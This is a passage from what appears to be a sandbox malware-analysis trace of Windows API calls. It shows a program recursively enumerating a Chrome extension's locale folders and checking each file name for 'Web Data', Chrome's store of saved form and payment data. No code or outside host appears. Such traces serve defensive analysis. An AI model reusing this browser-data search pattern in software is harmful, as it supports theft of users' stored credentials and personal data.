lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.165] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.165] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.165] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.165] LocalFree (hMem=0x2daca0) returned 0x0 [0056.165] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.165] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.165] lstrcmpiA (lpString1=".", lpString2="bg") returned -1 [0056.165] lstrcmpiA (lpString1="..", lpString2="bg") returned -1 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.165] lstrlenA (lpString="\\") returned 1 [0056.165] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.165] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.165] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.165] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.165] lstrlenA (lpString="bg") returned 2 [0056.166] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.166] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0056.166] LocalFree (hMem=0x2daca0) returned 0x0 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned 131 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned 131 [0056.166] lstrlenA (lpString="\\*.*") returned 4 [0056.166] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.166] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0056.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*" [0056.166] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.166] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.166] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.166] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.166] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.166] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.166] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.166] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.166] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.166] LocalFree (hMem=0x2daca0) returned 0x0 [0056.166] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.166] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.166] lstrcmpiA (lpString1=".", lpString2="ca") returned -1 [0056.166] lstrcmpiA (lpString1="..", lpString2="ca") returned -1 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.166] lstrlenA (lpString="\\") returned 1 [0056.166] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.166] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.166] lstrlenA (lpString="ca") returned 2 [0056.166] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.166] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0056.166] LocalFree (hMem=0x2daca0) returned 0x0 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned 131 [0056.166] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned 131 [0056.166] lstrlenA (lpString="\\*.*") returned 4 [0056.166] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.166] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0056.166] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*" [0056.166] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.167] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.167] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.167] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.167] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.167] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.167] LocalFree (hMem=0x2daca0) returned 0x0 [0056.167] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.167] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.167] lstrcmpiA (lpString1=".", lpString2="cs") returned -1 [0056.167] lstrcmpiA (lpString1="..", lpString2="cs") returned -1 [0056.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.167] lstrlenA (lpString="\\") returned 1 [0056.167] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.167] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.167] lstrlenA (lpString="cs") returned 2 [0056.167] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.167] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0056.167] LocalFree (hMem=0x2daca0) returned 0x0 [0056.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned 131 [0056.167] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned 131 [0056.167] lstrlenA (lpString="\\*.*") returned 4 [0056.167] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.167] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0056.167] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*" [0056.167] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.167] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.167] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.167] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.167] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.167] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.167] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.167] LocalFree (hMem=0x2daca0) returned 0x0 [0056.168] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.168] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.168] lstrcmpiA (lpString1=".", lpString2="da") returned -1 [0056.168] lstrcmpiA (lpString1="..", lpString2="da") returned -1 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.168] lstrlenA (lpString="\\") returned 1 [0056.168] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.168] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned 129 [0056.168] lstrlenA (lpString="da") returned 2 [0056.168] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x2dadb0 [0056.168] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0056.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0056.168] LocalFree (hMem=0x2daca0) returned 0x0 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned 131 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned 131 [0056.168] lstrlenA (lpString="\\*.*") returned 4 [0056.168] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2daca0 [0056.168] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da" [0056.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*" [0056.168] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.168] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.168] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.168] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.168] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.168] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.168] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.168] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.168] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.168] LocalFree (hMem=0x2daca0) returned 0x0 [0056.168] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.168] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.168] lstrcmpiA (lpString1=".", lpString2="de") returned -1 [0056.168] lstrcmpiA (lpString1="..", lpString2="de") returned -1 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.168] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned 128 [0056.168] lstrlenA (lpString="\\") returned 1 [0056.168] LocalAlloc (uFlags=0x40, uBytes=0x102) returned 0x2daca0 [0056.168] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0056.168] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 